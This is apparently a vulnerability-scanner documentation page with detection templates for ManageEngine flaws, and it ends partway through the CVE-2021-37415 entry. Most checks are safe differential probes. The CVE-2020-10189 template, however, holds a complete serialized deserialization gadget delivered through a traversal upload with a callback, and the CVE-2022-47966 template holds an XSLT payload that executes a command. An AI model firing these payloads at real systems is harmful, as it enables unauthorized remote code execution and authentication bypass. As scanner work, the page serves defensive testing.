    source: dbq_resp.banner
    condition: "dbq_page == true"
    pattern: "execute SQL queries"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Unauthenticated DBQueryExecutor.jsp returned aaauser query result: {{dbq_resp.banner}}"
      stop: true

Zoho ManageEngine ADSelfService Plus REST API Auth Bypass

CVECVE-2021-40539
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2021-40539.yaml

Tests Zoho ManageEngine ADSelfService Plus for the unauthenticated REST API authentication bypass (CVE-2021-40539). A "/./" path prefix makes the auth filter fail open on the RestAPI LogonCustomization action. The test calls its harmless logo-preview method (methodToCall=previewMobLogo) through the "/./" path and reports the bypass when the server answers 200 with the product's preview script (#mobLogo set to /temp/tempMobPreview.jpeg), while the same call on the normal path is refused. No file upload, no code execution.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: POST /./RestAPI/LogonCustomization HTTP/1.0
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST /RestAPI/LogonCustomization HTTP/1.0
  3. Checks resp.banner for (?s)^HTTP/1\.[01] 200 .*mobLogo[^\r\n]*/temp/tempMobPreview\.jpeg → finding QoD 75: Unauthenticated RestAPI auth bypass confirmed — POST /./RestAPI/LogonCustomization (methodToCall=previewMobLogo) answered 200 with the logo…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2021-40539.yaml
# Zoho ManageEngine ADSelfService Plus — REST API Auth Bypass → RCE (CVE-2021-40539)
#
# A security filter in ADSelfService Plus fails open when a request path is
# prefixed with "/./" (e.g. "/./RestAPI/LogonCustomization"). The normalised
# path still reaches the protected RestAPI servlet, but the authentication
# filter no longer matches it, so the privileged action runs UNAUTHENTICATED.
# This is the first link of the KEV-listed chain that ends in RCE (uploaded
# JAR / keytool class loading), tracked as CVE-2021-40539.
#
# DETECTION (no upload, no execution) — the Metasploit module's check:
#   POST /./RestAPI/LogonCustomization  methodToCall=previewMobLogo
# A vulnerable build (<= 6113) runs the action unauthenticated and answers 200
# with its logo-preview script, which sets #mobLogo to
# "/temp/tempMobPreview.jpeg" — text the product builds, absent from the
# request, so an echo/debug page quoting the request cannot match (#2365).
# A control sends the same request on the normalised path, which the filter
# still guards on every build: a server that returns the script there too is
# not exercising the bypass, and is not reported. Build 6114+ refuses both.
#
# reqwest normalises "/./" away before sending, so the bypass prefix must go
# out verbatim over a raw socket (tcp_connect, TLS when the service is https).
# QoD 75: auth bypass confirmed by a privileged response (not code execution).
uid: 23c56814-5477-4ed0-9fef-ab45eca00fd7
name: "Zoho ManageEngine ADSelfService Plus REST API Auth Bypass (CVE-2021-40539)"
description: |
  Tests Zoho ManageEngine ADSelfService Plus for the unauthenticated REST API
  authentication bypass (CVE-2021-40539). A "/./" path prefix makes the auth
  filter fail open on the RestAPI LogonCustomization action. The test calls its
  harmless logo-preview method (methodToCall=previewMobLogo) through the "/./"
  path and reports the bypass when the server answers 200 with the product's
  preview script (#mobLogo set to /temp/tempMobPreview.jpeg), while the same
  call on the normal path is refused. No file upload, no code execution.
cves: [CVE-2021-40539]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [manageengine, zoho, adselfservice-plus, auth-bypass, rce, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-40539"
  - "https://github.com/synacktiv/CVE-2021-40539"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2021_40539.rb"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40539.yaml"

steps:
  # ── Call the logo-preview action through the "/./" bypass (raw socket) ──
  - id: bypass-probe
    action: tcp_connect
    port: "{{port}}"
    send: "POST /./RestAPI/LogonCustomization HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 27\r\nConnection: close\r\n\r\nmethodToCall=previewMobLogo"
    timeout_secs: 10
    store_as: resp

  # ── Control: same call on the normalised (guarded) path ─────────────────
  - id: control-probe
    action: tcp_connect
    port: "{{port}}"
    send: "POST /RestAPI/LogonCustomization HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 27\r\nConnection: close\r\n\r\nmethodToCall=previewMobLogo"
    timeout_secs: 10
    store_as: ctl

  # ── Bypass confirmed: 200 + the product's preview script, control refused ─
  # The pattern is product output, not request text ("previewMobLogo" is
  # capitalised differently and the request never names tempMobPreview.jpeg).
  - id: bypass-match
    action: match
    source: resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200 .*mobLogo[^\\r\\n]*/temp/tempMobPreview\\.jpeg"
    condition: "type_of(ctl.banner) != \"string\" || stridx(ctl.banner, \"tempMobPreview\") < 0"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "Unauthenticated RestAPI auth bypass confirmed — POST /./RestAPI/LogonCustomization (methodToCall=previewMobLogo) answered 200 with the logo-preview script while the normal path was refused (CVE-2021-40539)"
      stop: true

Zoho ManageEngine Desktop Central Authentication Bypass

CVECVE-2021-44515
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2021-44515.yaml

Tests Zoho ManageEngine Desktop Central / Endpoint Central for the pre-authentication state-handling bypass tracked as CVE-2021-44515. A forged STATE_ID path plus a crafted STATE_COOKIE causes a vulnerable appliance to issue a valid authenticated UEMJSESSIONID session to an unauthenticated request. Detection is a safe differential: forged-grants-session AND control-does-not. No code execution is attempted.

How noctis detects it

  1. HTTP(S) request GET /STATE_ID/123/agentLogUploader
  2. Checks forged_resp.headers.set-cookie for UEMJSESSIONID=
  3. HTTP(S) request GET /STATE_ID/123/agentLogUploader
  4. Checks control_resp.headers.set-cookie for UEMJSESSIONID=
  5. Checks forged_resp.status for 200 → finding QoD 75: Pre-auth session bypass confirmed: forged STATE_ID request returned HTTP 200 with an empty body and a fresh UEMJSESSIONID session cookie, w…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2021-44515.yaml
# Zoho ManageEngine Desktop Central — Authentication Bypass → RCE (CVE-2021-44515)
#
# An unauthenticated attacker can forge a request to the agent log uploader
# endpoint using a crafted STATE_ID path segment together with a malformed
# STATE_COOKIE value. The appliance mistakenly treats the forged state as a
# valid server-side session and issues a fresh authenticated UEMJSESSIONID
# cookie, which an attacker then rides to reach authenticated functionality
# (and, in the full chain, remote code execution).
#
# Detection (safe, differential — no exploitation):
#   1. Forged request: GET /STATE_ID/<n>/agentLogUploader with
#      "Cookie: STATE_COOKIE=&_REQS/_TIME/<n>" → a vulnerable appliance answers
#      HTTP 200 with an EMPTY body and Set-Cookie: UEMJSESSIONID=<fresh session>.
#   2. Control request: the SAME path WITHOUT the forged STATE_COOKIE → must NOT
#      be granted a UEMJSESSIONID session.
#   A finding is emitted ONLY when the forged request is granted a session AND
#   the control request is not — proving the session grant is gated on the
#   forged state, not handed out unconditionally.
uid: 8fc05f18-3aee-4415-b22c-8b95a7b3dbc8
name: "Zoho ManageEngine Desktop Central Authentication Bypass (CVE-2021-44515)"
description: |
  Tests Zoho ManageEngine Desktop Central / Endpoint Central for the
  pre-authentication state-handling bypass tracked as CVE-2021-44515. A forged
  STATE_ID path plus a crafted STATE_COOKIE causes a vulnerable appliance to
  issue a valid authenticated UEMJSESSIONID session to an unauthenticated
  request. Detection is a safe differential: forged-grants-session AND
  control-does-not. No code execution is attempted.
cves: [CVE-2021-44515]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [manageengine, desktop-central, endpoint-central, zoho, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-44515"
  - "https://www.manageengine.com/products/desktop-central/cve-2021-44515-authentication-bypass-filtering-request.html"
  - "https://www.cisa.gov/news-events/alerts/2021/12/06/zoho-releases-security-update-manageengine-desktop-central"

steps:
  # Initialise differential flags so later conditions never read an undefined var.
  - id: init-forged-granted
    action: set_var
    var_name: forged_granted
    var_value: false

  - id: init-control-granted
    action: set_var
    var_name: control_granted
    var_value: false

  # ── 1. Forged request — crafted STATE_ID path + STATE_COOKIE ──────────────
  - id: forged-probe
    action: http_request
    method: GET
    path: "/STATE_ID/123/agentLogUploader"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "STATE_COOKIE=&_REQS/_TIME/123"
    store_as: forged_resp

  # The forged request is "granted a session" only when it returns 200, an empty
  # body, and a fresh UEMJSESSIONID session cookie — the vulnerable behaviour.
  - id: forged-granted-match
    action: match
    source: forged_resp.headers.set-cookie
    pattern: "UEMJSESSIONID="
    condition: 'forged_resp.status == 200 && forged_resp.body == ""'
    on_match:
      set_vars:
        forged_granted: true

  # ── 2. Control request — SAME path, but WITHOUT the forged STATE_COOKIE ────
  - id: control-probe
    action: http_request
    method: GET
    path: "/STATE_ID/123/agentLogUploader"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: control_resp

  # If an unauthenticated control request is ALSO handed a UEMJSESSIONID session,
  # the appliance grants sessions unconditionally — not a bypass, so flag it to
  # suppress the finding (defeats a mock/appliance that always sets the cookie).
  - id: control-granted-match
    action: match
    source: control_resp.headers.set-cookie
    pattern: "UEMJSESSIONID="
    condition: "control_resp.status == 200"
    on_match:
      set_vars:
        control_granted: true

  # ── 3. Decision — forged-grants-session AND control-does-not ──────────────
  - id: decide
    action: match
    source: forged_resp.status
    pattern: "200"
    condition: "forged_granted == true && control_granted == false"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Pre-auth session bypass confirmed: forged STATE_ID request returned HTTP 200 with an empty body and a fresh UEMJSESSIONID session cookie, while an identical request without the forged STATE_COOKIE was not granted a session (CVE-2021-44515)."
      stop: true

Zoho ManageEngine Desktop Central FileStorage Deserialization RCE

CVECVE-2020-10189
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, script, match, tcp_open, tcp_send, tcp_close, wait_oob · highest QoD 97
Feedtests/vulnerabilities/manageengine/CVE-2020-10189.yaml

Zoho ManageEngine Desktop Central before 10.0.474 lets an unauthenticated attacker plant a file in the cewolf chart cache through a path traversal in the udid parameter of /mdm/client/v1/mdmLogUploader, then have FileStorage.getChartImage() deserialize it through /cewolf/?img=. With the commons-beanutils gadget chain this is remote code execution as SYSTEM. Confirmed by planting a CommonsBeanutils1 gadget whose only effect is an HTTP GET to the scanner's OOB listener; without OOB, the login page build number is reported as a fingerprint.

How noctis detects it

  1. HTTP(S) request GET /configurations.do
  2. Parses / computes the next value with a Rhai script
  3. Checks home.body for buildNum → finding QoD 70: ManageEngine Desktop Central affected by CVE-2020-10189 — build fingerprint
  4. Parses / computes the next value with a Rhai script
  5. Opens a persistent TCP/TLS socket
  6. Sends a binary frame on the open socket
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET /cewolf/?img=%5Clogger.zip
  9. HTTP(S) request POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_c… with a crafted body
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: ManageEngine Desktop Central deserialization RCE confirmed (CVE-2020-10189)

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2020-10189.yaml
# Zoho ManageEngine Desktop Central — unauthenticated Java deserialization RCE
# through FileStorage.getChartImage() (CVE-2020-10189, CISA KEV).
#
# Two unauthenticated requests (Steven Seeley / mr_me, SRC-2020-0011; same flow
# as the Metasploit module and the Nuclei template):
#   1. POST /mdm/client/v1/mdmLogUploader?udid=si\..\..\..\webapps\DesktopCentral\_chart
#      &filename=logger.zip — MDMLogUploaderServlet builds the upload directory
#      from the udid without stripping "..", so the body lands in the cewolf
#      chart cache as _chart\logger.zip.
#   2. GET /cewolf/?img=\logger.zip — FileStorage.getChartImage() opens
#      basePath + "_chart" + img and calls ObjectInputStream.readObject() on it.
#
# The planted object is a CommonsBeanutils1 gadget (PriorityQueue → BeanComparator
# "outputProperties" → TemplatesImpl), the chain the public PoC and Metasploit
# use: Desktop Central ships commons-beanutils 1.8.x, whose BeanComparator
# serialVersionUID (cf8e0182fe4ef17e) is the one serialized here. The
# TemplatesImpl bytecode is a translet whose only action is
#   new java.net.URL("{{oob_url}}").openStream().close();
# i.e. one HTTP GET to the scanner's OOB listener — no process is started,
# nothing is read or written by the payload itself. The class file is
# Java 6 (major 50) so it loads on any JRE Desktop Central has bundled.
# Generator sources: infra/docker/manageengine-10189-mock/gadget/.
#
# Side effect (unavoidable for this CVE, also true of Metasploit and Nuclei):
# step 1 writes _chart\logger.zip under the Desktop Central web app. Right
# after the trigger the feed uploads the same name again with a short inert
# text body, so the gadget does not stay on disk. Only the fixed name
# logger.zip is ever used (the servlet only accepts logger.txt/logger.zip/
# mdmlogs.zip/managedprofile_mdmlogs.zip), so repeated scans never pile up files.
#
#   1. Exploit + OOB callback (QoD 97, needs --oob, intrusive): run only when
#      /configurations.do is a Desktop Central login page. Version independent:
#      whatever the build number says, only a server that accepts the traversal
#      upload and actually deserializes the gadget is reported.
#   2. Version fingerprint (QoD 70, only when OOB is NOT configured): the login
#      page's buildNum is below 100474 (NVD: "before 10.0.474"). Labelled as a
#      fingerprint. When OOB is configured this branch is skipped, so a missing
#      callback (hardened JVM, serial filter) is never papered over by the build.
#
# Better than the OpenVAS check (gb_manageengine_desktop_central_rce_vuln, a
# build-number comparison): the OOB branch proves the deserialization actually
# runs, so it does not report a vulnerable-looking build whose JVM refuses the
# gadget (serial filter, hardened JRE) and does not depend on the login page
# exposing a buildNum at all.
uid: e81dd9ea-374c-4782-b63a-01c19ea7e427
name: "Zoho ManageEngine Desktop Central FileStorage Deserialization RCE (CVE-2020-10189)"
description: |
  Zoho ManageEngine Desktop Central before 10.0.474 lets an unauthenticated
  attacker plant a file in the cewolf chart cache through a path traversal in
  the udid parameter of /mdm/client/v1/mdmLogUploader, then have
  FileStorage.getChartImage() deserialize it through /cewolf/?img=. With the
  commons-beanutils gadget chain this is remote code execution as SYSTEM.
  Confirmed by planting a CommonsBeanutils1 gadget whose only effect is an HTTP
  GET to the scanner's OOB listener; without OOB, the login page build number
  is reported as a fingerprint.
cves: [CVE-2020-10189]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [manageengine, desktop-central, zoho, deserialization, commons-beanutils, java, rce, intrusive, oob, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-10189"
  - "https://srcincite.io/advisories/src-2020-0011/"
  - "https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/desktopcentral_deserialization.rb"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10189.yaml"

steps:
  # 1. Product + build. Desktop Central's login page carries
  #    <input type="hidden" id="buildNum" value="100465"> (10.0.465).
  - id: login-page
    action: http_request
    method: GET
    path: "/configurations.do"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home

  - id: parse-login
    action: script
    condition: "home.status == 200"
    store_as: dc
    code: |
      let body = home.body;
      let is_dc = body.contains("ManageEngine Desktop Central");
      let build = 0;
      let tag = eregmatch("<input[^>]*buildNum[^>]*>", body);
      if tag.len() > 0 {
        let v = eregmatch("value=\"([0-9]+)\"", tag[0]);
        if v.len() > 1 { build = int(v[1]); }
      }
      #{ is_dc: is_dc, build: build }

  # 2. Fingerprint fallback (no OOB): build below 10.0.474.
  - id: affected-build
    action: match
    condition: "!oob_enabled && dc.is_dc == true && dc.build > 0 && dc.build < 100474"
    source: home.body
    pattern: "buildNum"
    on_match:
      finding:
        title: "ManageEngine Desktop Central affected by CVE-2020-10189 — build fingerprint"
        description: "The Desktop Central login page reports build {{dc.build}}, below 10.0.474, so the unauthenticated mdmLogUploader traversal and the FileStorage.getChartImage() deserialization are present. Fingerprint only: exploitation was not attempted because no OOB listener is configured. Re-scan with --oob to confirm."
        remediation: "Upgrade Desktop Central to build 10.0.479 or later (10.0.474 only blocks the upload), and do not expose the server's web console to untrusted networks."
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "/configurations.do buildNum = {{dc.build}} (< 100474)"
      stop: true

  # 3. Build the upload request (OOB only, Desktop Central only). The HTTP
  #    request is sent raw because the body is binary.
  - id: build-upload
    action: script
    condition: "oob_enabled && dc.is_dc == true"
    store_as: upl
    code: |
      let url = oob_url;
      // CommonsBeanutils1, written by ObjectOutputStream (commons-beanutils
      // 1.8.3, commons-collections 3.1): PriorityQueue(2, BeanComparator(
      // "outputProperties", ComparableComparator)) holding the same
      // TemplatesImpl twice. Its _bytecodes holds one class, NoctisProbe
      // (extends AbstractTranslet), whose <clinit> opens <oob_url>.
      // Chunk 1: stream up to the length of the class byte[].
      let body = "";
      body += "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a";
      body += "654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200";
      body += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72cf8e0182";
      body += "fe4ef17e0200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e";
      body += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f";
      body += "6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75";
      body += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e";
      body += "2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d";
      body += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b";
      body += "425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f";
      body += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ff";
      body += "ffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870";
      // The class file: 891 fixed bytes + the URL constant.
      body += p32be(891 + strlen(url));
      // Chunk 2: class file up to the CONSTANT_Utf8 holding the URL.
      body += "cafebabe0000003200240a000200030700040c00050006010040636f6d2f73756e2f6f72672f6170616368652f78616c";
      body += "616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100063c696e";
      body += "69743e01000328295607000801000c6a6176612f6e65742f55524c08000a01";
      body += p16be(strlen(url));          // CONSTANT_Utf8 length
      body += hexstr(url);                 // the OOB URL the target will GET
      // Chunk 3: rest of the class file (openStream/close, the two transform()
      // stubs, <clinit> with its catch-all handler).
      body += "0a0007000c0c0005000d010015284c6a6176612f6c616e672f537472696e673b29560a0007000f0c0010001101000a6f";
      body += "70656e53747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0a001300140700150c00160006";
      body += "0100136a6176612f696f2f496e70757453747265616d010005636c6f73650700180100136a6176612f6c616e672f5468";
      body += "726f7761626c6507001a01000b4e6f6374697350726f6265010004436f64650100097472616e73666f726d010072284c";
      body += "636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f";
      body += "6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69";
      body += "7a6174696f6e48616e646c65723b295601000a457863657074696f6e73070020010039636f6d2f73756e2f6f72672f61";
      body += "70616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0100a628";
      body += "4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f";
      body += "6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f";
      body += "723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f5365";
      body += "7269616c697a6174696f6e48616e646c65723b29560100083c636c696e69743e01000d537461636b4d61705461626c65";
      body += "0021001900020000000000040001000500060001001b0000001100010001000000052ab70001b1000000000001001c00";
      body += "1d0002001b0000000d0000000300000001b100000000001e000000040001001f0001001c00210002001b0000000d0000";
      body += "000400000001b100000000001e000000040001001f0008002200060001001b000000350003000100000014bb00075912";
      body += "09b7000bb6000eb60012a700044bb100010000000f001200170001002300000007000252070017000000";
      // Chunk 4: TemplatesImpl _class/_name/_outputProperties, its writeObject
      // block, the second queue slot (back-reference) and the queue footer.
      body += "707400066e6f63746973707701007871007e000d78";
      let head = "POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1\r\n";
      head += "Host: " + target_host + ":" + port + "\r\n";
      head += "User-Agent: noctis\r\n";
      head += "Content-Type: application/octet-stream\r\n";
      head += "Content-Length: " + (strlen(body) / 2) + "\r\n";
      head += "Connection: close\r\n\r\n";
      #{ req: hexstr(head) + body, len: strlen(body) / 2 }

  - id: open-upload
    action: tcp_open
    handle: upload
    condition: "oob_enabled && dc.is_dc == true"
    port: "{{port}}"
    timeout_secs: 10
    store_as: upconn

  # 4. Plant the gadget in the chart cache. A vulnerable server answers 200; a
  #    10.0.474+ server refuses the traversal.
  - id: plant-gadget
    action: tcp_send
    handle: upload
    condition: "oob_enabled && dc.is_dc == true && upconn.connected == true"
    send_hex: "{{upl.req}}"
    store_as: planted

  - id: close-upload
    action: tcp_close
    handle: upload

  - id: upload-status
    action: script
    condition: "oob_enabled && dc.is_dc == true && planted.responded == true"
    store_as: up
    code: |
      #{ ok: ereg("^HTTP/1\\.[01] 200", planted.response) }

  # 5. Have cewolf deserialize it. The callback happens inside this request.
  - id: trigger
    action: http_request
    method: GET
    path: "/cewolf/?img=%5Clogger.zip"
    condition: "oob_enabled && dc.is_dc == true && up.ok == true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: trig

  # 6. Overwrite the planted gadget with inert text (best effort).
  - id: cleanup
    action: http_request
    method: POST
    path: "/mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip"
    condition: "oob_enabled && dc.is_dc == true && up.ok == true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/octet-stream"
    body: "noctis CVE-2020-10189 check - inert placeholder"
    store_as: cleaned

  # 7. The translet's HTTP GET reaching the OOB listener proves the server
  #    deserialized the planted object and ran attacker-supplied bytecode.
  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled && dc.is_dc == true && up.ok == true"
    oob_timeout_secs: 20
    store_as: oob_result
    on_success:
      finding:
        title: "ManageEngine Desktop Central deserialization RCE confirmed (CVE-2020-10189)"
        description: "An unauthenticated upload through the mdmLogUploader udid traversal planted a CommonsBeanutils1 gadget in the cewolf chart cache, and /cewolf/?img= deserialized it: the server loaded the gadget's bytecode and fetched the scanner's OOB URL. Arbitrary code execution (as the Desktop Central service account, usually SYSTEM) is possible. The planted file was overwritten with inert text afterwards."
        remediation: "Upgrade Desktop Central to build 10.0.479 or later (10.0.474 only blocks the upload), and do not expose the server's web console to untrusted networks."
        confidence_delta: 0.65   # 0.30 + 0.65 = 0.95
        qod: 97
        evidence: "build {{dc.build}}: gadget upload ({{upl.len}} bytes) answered 200, GET /cewolf/?img=\\logger.zip made the server send {{oob_result.method}} /{{oob_token}} to the OOB listener"
      stop: true

Zoho ManageEngine SAML XSLT RCE

CVECVE-2022-47966
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 70
Feedtests/vulnerabilities/manageengine/CVE-2022-47966.yaml

Fingerprints the SAML endpoint, posts a crafted SAMLResponse and reports when ManageEngine returns the XSLT execution error (500), the indicator of the SAML/Apache Santuario RCE.

How noctis detects it

  1. HTTP(S) request GET /SamlResponseServlet
  2. Checks finger_resp.status != 404
  3. HTTP(S) request POST /SamlResponseServlet with a crafted body
  4. Checks saml_resp.body for Unknown error occurred → finding QoD 70: ManageEngine SAML endpoint returned XSLT execution error (HTTP 500) — CVE-2022-47966 indicator
Feed source — tests/vulnerabilities/manageengine/CVE-2022-47966.yaml
uid: cfbd1a0f-2ec2-4b37-9fcb-350a4d99ddd7
name: "Zoho ManageEngine SAML XSLT RCE (CVE-2022-47966)"
description: "Fingerprints the SAML endpoint, posts a crafted SAMLResponse and reports when ManageEngine returns the XSLT execution error (500), the indicator of the SAML/Apache Santuario RCE."
cves: [CVE-2022-47966]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.10
tags: [rce, saml, xslt, manageengine, java, kev]
services: [http, https]
author: noctis
version: "1.0.0"

vars:
  saml_payload: "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c2FtbHA6UmVzcG9uc2UgeG1sbnM6c2FtbHA9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpwcm90b2NvbCI+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+PFNpZ25lZEluZm8+PENhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy9UUi8xOTk5L1JFQy14c2x0LTE5OTkxMTE2Ij48eHNsOnN0eWxlc2hlZXQgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InJ1bnRpbWU6ZXhlYyhydW50aW1lOmdldFJ1bnRpbWUoKSwmYXBvcztuc2xvb2t1cCBub2N0aXMtcHJvYmUubG9jYWwmYXBvczspIiB4bWxuczpydW50aW1lPSJodHRwOi8veG1sLmFwYWNoZS5vcmcveGFsYW4vamF2YS9qYXZhLmxhbmcuUnVudGltZSIvPjwveHNsOnRlbXBsYXRlPjwveHNsOnN0eWxlc2hlZXQ+PC9UcmFuc2Zvcm0+PC9UcmFuc2Zvcm1zPjxEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxEaWdlc3RWYWx1ZT52YWx1ZTwvRGlnZXN0VmFsdWU+PC9SZWZlcmVuY2U+PC9TaWduZWRJbmZvPjxTaWduYXR1cmVWYWx1ZT52YWx1ZTwvU2lnbmF0dXJlVmFsdWU+PC9TaWduYXR1cmU+PC9zYW1scDpSZXNwb25zZT4="

steps:
  - id: saml-endpoint-probe
    action: http_request
    method: GET
    path: "/SamlResponseServlet"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: finger_resp

  - id: saml-endpoint-check
    action: match
    source: finger_resp.body
    pattern: "^"
    condition: "finger_resp.status != 404"
    on_match:
      set_vars:
        is_manageengine: true

  - id: saml-xslt-probe
    action: http_request
    method: POST
    path: "/SamlResponseServlet"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "SAMLResponse={{saml_payload}}&RelayState="
    condition: "is_manageengine == true"
    store_as: saml_resp

  - id: xslt-error-match
    action: match
    source: saml_resp.body
    pattern: "Unknown error occurred"
    condition: "is_manageengine == true && saml_resp.status == 500"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "ManageEngine SAML endpoint returned XSLT execution error (HTTP 500) — CVE-2022-47966 indicator"
      stop: true

Zoho ManageEngine ServiceDesk Plus REST API Auth Bypass

CVECVE-2021-37415
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/manageengine/CVE-2021-37415.yaml

Requests the ServiceDesk Plus REST API /api/v3/requests without credentials and reports when it returns the authentic v3 response envelope, the API filter auth bypass.

How noctis detects it

  1. HTTP(S) request GET /api/v3/requests?input_data=%7B%22list_info%22%3A%7B%22row_count%22%3A1%7D%7D
  2. Checks api_resp.body for "status_code"\s*:\s*2000 → finding QoD 75: Unauthenticated GET /api/v3/requests returned the authentic ServiceDesk Plus REST API v3 envelope (HTTP 200, response_status.status_code 20…

References:

Feed source — tests/vulnerabilities/manageengine/CVE-2021-37415.yaml
# Zoho ManageEngine ServiceDesk Plus — REST API Authentication Bypass (CVE-2021-37415)
#
# ServiceDesk Plus before build 11200 (and related ManageEngine products) failed to
# enforce authentication on certain REST API v3 endpoints. An unauthenticated attacker
